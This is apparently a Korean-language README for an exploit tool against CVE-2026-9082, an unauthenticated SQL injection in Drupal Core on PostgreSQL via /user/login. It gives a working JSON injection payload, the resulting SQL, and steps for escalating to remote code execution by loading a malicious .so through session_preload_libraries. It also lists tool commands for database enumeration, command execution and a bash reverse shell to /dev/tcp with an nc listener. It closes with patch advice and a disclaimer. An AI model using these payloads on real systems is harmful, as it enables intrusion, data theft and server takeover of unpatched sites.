
Drupal Core PostgreSQL SQLi, /user/login을 통한 RCE (CVE-2026-9082 / SA-CORE-2026-004)
Drupal Core의 PostgreSQL에서 POST /user/login을 통한 인증되지 않은 SQL 인젝션, PostgreSQL session_preload_libraries를 통해 원격 코드 실행으로 확대됩니다.
JSON:API를 대상으로 하는 기존 공개 익스플로잇과 달리, 이는 로그인 엔드포인트를 사용합니다. 항상 사용 가능하며, 모듈이나 게시된 콘텐츠가 필요하지 않습니다.
권고: SA-CORE-2026-004 | 위험도: 23/25 (매우 심각) | CISA KEV
PostgreSQL을 백엔드로 사용하는 Drupal 사이트만 취약합니다.
| 브랜치 | 취약 버전 | 패치 버전 |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | 모두 | 지원 종료 - 업그레이드 필요 |
Drupal의 PostgreSQL 엔티티 쿼리 조건 처리기(core/modules/pgsql/src/EntityQuery/Condition.php)는 $condition['value']를 연관 배열로 반복하고 사용자 제어 키를 PDO 플레이스홀더 식별자에 직접 연결하여 대소문자 구분 없는 IN 조건을 구성합니다. 생성된 SQL에는 LOWER(:<prefix><key>)가 포함되며, 여기서 <key>는 공격자로부터 그대로 전달됩니다.
이 코드 경로는 is_array($condition['value'])와 $case_sensitive === FALSE라는 두 조건이 모두 충족될 때만 도달합니다. 이것이 PostgreSQL만 영향을 받는 이유입니다. MySQL과 SQLite에는 이 대소문자 구분 없는 LOWER() 분기가 없습니다.
PDO의 명명된 매개변수 파서는 : 뒤의 [a-zA-Z0-9_]만 인식합니다. 해당 세트 외부의 문자(예: | 또는 ))는 플레이스홀더 토큰을 종료시킵니다. 따라서 0||(subquery)와 같은 키는 플레이스홀더 :prefix0(정당한 키 0과 공유됨)과 리터럴 SQL ||(subquery)를 생성하며, 이는 매개변수화되지 않은 상태로 PostgreSQL에 도달합니다.
수정 사항은 SQL 생성 전에 공격자가 제공한 키를 제거하는 단일 array_values() 호출입니다.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
name 필드는 문자열 대신 JSON 객체로 전송됩니다. Drupal은 이를 대소문자 구분 없는 비교로 엔티티 쿼리 IN 조건에 전달합니다. Drupal은 각 배열 키에 대해 SQL에서 LOWER(:<prefix><key>)를 생성합니다. 결과 쿼리는 다음과 같습니다:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO는 두 항목 모두에서 :users_field_data_name0을 플레이스홀더로 인식하고(두 번째 항목에서 |에서 중단), 둘 다 'x'에 바인딩합니다. 나머지 ||(SELECT ...)는 리터럴 SQL로 전달됩니다. 대체 후 PostgreSQL은 다음을 수신합니다:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
CAST(... AS int)는 정수가 아닌 데이터에서 실패하고, 오류 메시지가 쿼리 결과를 유출합니다.
데이터베이스 사용자가 PostgreSQL 슈퍼유저인 경우, SELECT 전용 인젝션을 RCE로 확대할 수 있습니다:
data_directory, 슈퍼유저 상태 유출system()을 호출하는 _PG_init()를 포함한 네이티브 .so 모듈 컴파일lo_create -> lo_put -> lo_export)를 통해 .so를 data_directory에 업로드postgresql.auto.conf를 재작성하여 session_preload_libraries 및 dynamic_library_path 설정pg_reload_conf()로 구성 다시 로드SQL 인젝션 (cve_2026_9082_check.py):
원격 코드 실행 (cve_2026_9082_rce.py):
docker가 로컬에서 사용 가능해야 함 (macOS에서 크로스 컴파일용)pip install -r requirements.txt
# SQL 인젝션 검증
python3 cve_2026_9082_check.py http://target:8081
# 프록시 사용 (Burp, mitmproxy 등)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# 모든 데이터베이스 나열
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# 데이터베이스의 테이블 나열
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# 테이블의 열 나열
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# 명령 실행
python3 cve_2026_9082_rce.py http://target:8081 "id"
# 리버스 셸
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# 리스너
nc -lvnp 4444
취약한 인스턴스에 대한 SQLi 검증:

오류 기반 인젝션을 통한 데이터베이스 열거:

원격 코드 실행으로 확대:

즉시 드루팔을 업데이트하여 패치된 버전으로 전환하세요:
즉시 업데이트할 수 없는 경우:
name 필드에 JSON 객체가 포함된 비정상적인 POST /user/login 요청에 대한 로그 모니터링패치 및 세부 정보: SA-CORE-2026-004
| 날짜 | 이벤트 |
|---|---|
| 2026-05-20 | Drupal이 SA-CORE-2026-004 게시, 패치 릴리스 |
| 2026-05-22 | 야생에서 활발한 익스플로잇, CISA KEV에 추가 |
| 2026-05-26 | Ambionics가 JSON:API를 통한 SQLi-to-RCE 기술 공개 |
| 2026-06-07 | 이 도구 릴리스 |
/user/login) 설명: bitk & jfellus (YesWeHack)session_preload_libraries): N. Maccary / Ambionics (Lexfo)/user/login 벡터에 맞게 RCE를 적용한 사람: r0m41n이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
pg_read_file()을 통해 명령 출력 읽기